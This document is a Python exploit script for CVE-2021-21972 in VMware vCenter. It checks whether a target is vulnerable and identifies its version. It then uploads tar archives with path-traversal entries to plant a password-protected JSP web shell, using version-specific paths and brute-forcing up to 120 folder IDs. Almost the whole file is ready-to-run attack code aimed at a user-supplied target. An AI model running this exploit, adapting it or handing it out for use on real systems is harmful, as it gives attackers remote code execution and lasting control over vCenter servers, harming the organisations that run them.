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CVE-2021-21972.py
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import requests
import os
import argparse
import urllib3
import tarfile
import time
import sys
import re as regex
import io
# remove SSL warning
urllib3.disable_warnings()
# get script work path
WORK_PATH = os.path.split(os.path.realpath(__file__))[0]
# init payload path
WINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"
LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"
LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"
# init vulnerable url and shell URL
VUL_URI = "/ui/vropspluginui/rest/services/uploadova"
WINDOWS_SHELL_URL = "/statsreport/shell.jsp"
LINUX_SHELL_URL = "/ui/resources/shell.jsp"
# set connect timeout
TIMEOUT = 10
# set headers
headers = {}
headers[
"User-Agent"
] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
headers["Cache-Control"] = "no-cache"
headers["Pragma"] = "no-cache"
# get vcenter version,code from @TaroballzChen
SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>"""
def getValue(sResponse, sTag="vendor"):
try:
return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]
except:
pass
return ""
def getVersion(sURL):
oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)
if oResponse.status_code == 200:
sResult = oResponse.text
if not "VMware" in getValue(sResult, "vendor"):
print("[-] Not a VMware system: " + sURL, "error")
return
else:
sVersion = getValue(sResult, "version") # e.g. 7.0.0
sBuild = getValue(sResult, "build") # e.g. 15934073
sFull = getValue(sResult, "fullName")
print("[+] Identified: " + sFull, "good")
return sVersion, sBuild
print("Not a VMware system: " + sURL, "error")
sys.exit()
# Utils Functions, Code From @horizon3ai
def make_traversal_path(path, level=2):
traversal = ".." + "/"
fullpath = traversal * level + path
return fullpath.replace("\\", "/").replace("//", "/")
def archive(file, path):
memFile = io.BytesIO()
fullpath = make_traversal_path(path, level=2)
with tarfile.open(fileobj=memFile, mode="w") as tar:
tar.add(file, fullpath)
# tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")
print("[+] Adding " + file + " as " + fullpath + " to archive")
compressed_data = memFile.getvalue()
return compressed_data
# Tool Functions
def checkVul(URL):
try:
res = requests.get(
URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers
)
print("[*] Check {URL} is vul ...".format(URL=URL))
if res.status_code == 405:
print("[!] {URL} IS vul ...".format(URL=URL))
return True
else:
print("[-] {URL} is NOT vul ...".format(URL=URL))
return False
except:
print("[-] {URL} connect failed ...".format(URL=URL))
return False
def checkShellExist(SHELL_URI):
time.sleep(
5
) # vCenter copy file to web folder need some time, on most test,5s is good
re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)
if re.status_code == 200:
return True
else:
print("[-] Shell upload success, BUT NOT EXIST.")
return False
def uploadWindowsPayload(URL):
file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text:
if checkShellExist(URL + WINDOWS_SHELL_URL):
print(
"[+] Shell exist URL: {url}, default password:rebeyond".format(
url=URL + WINDOWS_SHELL_URL
)
)
else:
print("[-] All payload has been upload but not success.")
def uploadLinuxShell(URL):
print("[*] Trying linux default payload...")
file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text:
print("[+] Shell upload success, now check is shell exist...")
if checkShellExist(URL + LINUX_SHELL_URL):
print(
"[+] Shell exist URL: {URL}, default password:rebeyond".format(
URL=URL + LINUX_SHELL_URL
)
)
else:
print(
"[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."
)
uploadLinuxRandomPayload(URL)
else:
print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")
uploadWindowsPayload(URL)
def uploadLinuxRandomPayload(URL):
for i in range(0, 120):
"""
vCenter will regenerate web folder when vCenter Server restart
Attempts to brute force web folders up to 120 times
"""
tarFile = archive(
LINUX_RANDOM_PAYLOAD_SOURCE,
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(
REPLACE_RANDOM_ID_HERE=i
),
)
file = {"uploadFile": tarFile}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):
print(
"[+] Shell exist URL: {url}, default password:rebeyond".format(
url=URL + LINUX_SHELL_URL
)
)
else:
print(
"[-] Shell upload failed."
)
sys.exit()
# 6.7 and 7.0+ path from https://www.geekby.site/2022/05/vcenter%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/
def uploadLinuxShell_VCSA_6_7_13010631(URL):
print("[*] Trying linux VCSA 6.7.13010631 payload...")
tarFile = archive(
LINUX_RANDOM_PAYLOAD_SOURCE,
"/usr/lib/vmware-vsphere-ui/server/static/resources/libs/shell.jsp",
)
file = {"uploadFile": tarFile}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text :
print(
"[+] Shell exist URL: {url}, default password:rebeyond,but in vcenter 6.7 u2+ connect webshell need vCenter reboot.".format(
url=URL + LINUX_SHELL_URL
)
)
sys.exit()
else:
print(
"[-] Shell upload failed."
)
sys.exit()
def uploadLinuxShell_VCSA_70(URL):
print("[*] Trying linux VCSA 7.0(+) payload...")
res = requests.get(URL + "/ui/", verify=False, timeout=TIMEOUT, headers=headers)
resourcesnum = regex.search(
r"static/resources(.*)/img/favicon.ico", res.text, regex.M | regex.I
)
if resourcesnum:
resourcesnum = resourcesnum.group(1)
else:
print("[-] Can't get resources number, exit...")
exit()
tarFile = archive(
LINUX_RANDOM_PAYLOAD_SOURCE,
"/usr/lib/vmware-vsphere-ui/server/static/resources{resourcesnum}/libs/shell.jsp".format(
resourcesnum=resourcesnum
),
)
file = {"uploadFile": tarFile}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text :
print(
"[+] Shell exist URL: {url}, default password:rebeyond,but in vcenter 6.7 u2+ connect webshell need vCenter reboot.".format(
url=URL + LINUX_SHELL_URL
)
)
sys.exit()
else:
print(
"[-] Shell upload failed."
)
sys.exit()
def banner():
print(
"""
_______ ________ ___ ___ ___ __ ___ __ ___ ______ ___
/ ____\\ \\ / / ____| |__ \\ / _ \\__ \\/_ | |__ \\/_ |/ _ \\____ |__ \\
| | \\ \\ / /| |__ ______ ) | | | | ) || |______ ) || | (_) | / / ) |
| | \\ \\/ / | __|______/ /| | | |/ / | |______/ / | |\\__, | / / / /
| |____ \\ / | |____ / /_| |_| / /_ | | / /_ | | / / / / / /_
\\_____| \\/ |______| |____|\\___/____||_| |____||_| /_/ /_/ |____|
Test On vCenter 6.5 Linux/Windows
VMware-VCSA-all-6.7.0-8217866
VMware-VIM-all-6.7.0-8217866
VMware-VCSA-all-6.5.0-16613358
By: Sp4ce
Github:https://github.com/NS-Sp4ce
"""
)
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser()
parser.add_argument(
"-url",
"--targeturl",
type=str,
help="Target URL. e.g: -url 192.168.2.1/-url https://192.168.2.1",
)
args = parser.parse_args()
url = args.targeturl
if url==None or url =="":
parser.print_help()
if "https://" not in url:
url = "https://" + url
if checkVul(url):
sVersion, sBuild = getVersion(url)
if (
int(sVersion.split(".")[0]) == 6
and int(sVersion.split(".")[1]) == 7
and int(sBuild) >= 13010631
):
uploadLinuxShell_VCSA_6_7_13010631(url)
elif int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) >= 0:
uploadLinuxShell_VCSA_70(url)
else:
uploadLinuxShell(url)